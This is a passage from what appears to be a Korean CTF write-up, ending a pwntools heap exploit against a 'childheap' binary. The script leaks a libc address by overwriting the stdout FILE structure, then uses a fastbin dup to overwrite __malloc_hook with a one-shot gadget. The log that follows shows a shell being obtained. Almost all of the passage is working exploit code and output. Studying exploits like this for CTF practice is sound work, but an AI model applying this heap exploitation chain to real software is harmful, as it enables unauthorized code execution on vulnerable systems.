# 7. stdout을 덮었다면, payload = b'A'*51 + p64(0xfbad1800) + p64(0)*3 + p8(0) try: malloc(4, 0x60, payload) # pause() except: p.close() continue # leak된 stdin등을 가져와 # libc base address를 구해 oneshot gadget과 __malloc_hook을 구해준다. leak = r() info(leak) leak = leak[0x88:0x88+8] leak = uu64(leak) info(hex(leak)) l.address = leak - l.sym._IO_2_1_stdin_ info(hex(l.address)) real_oneshot = l.address + 0xf1247 real_malloc = l.symbols['__malloc_hook'] real_free = l.symbols['__free_hook'] # fastbin dup을 발생시켜 __malloc_hook을 덮는다. # 단, 여기서도 __malloc_hook에 fake chunk를 적용시켜 덮어야지.. # 아니면 memory corruption 오류가 당연히 발생하게 된다. # ip() malloc_2(0, 0x60, b'A'*8) malloc(1, 0x60, b'A'*8) # ip() free(0) free(1) free(0) # ip() malloc(0, 0x60, p64(real_malloc-35)) # ip() malloc(1, 0x60, b'B'*8) malloc(2, 0x60, b'B'*8) malloc(3, 0x60, b'C'*19+ p64(real_oneshot)) # Malloc 함수를 실행해 쉘을 딴다. sla('>', '1') sla(':', '2') # ip() sla(b':', b'\x00') pi()
Result
... [*] Process './childheap' stopped with exit code -11 (SIGSEGV) (pid 9013) [+] Starting local process './childheap': pid 9015 [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [*] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x18û\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00k\x7f\x00\x00£k\x7f\x00\x00£k\x7f\x00\x00£k\x7f\x00\x00¤k\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00àxk\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00ÿÿÿÿÿÿÿÿ\x00\x00\x001. malloc 2. free > [*] 0x7f8b6b8678e0 [*] 0x7f8b6b4a3000 [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $ whoami ubuntu $ uname -a Linux 7a6827c0e1bf 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux $ [*] Interrupted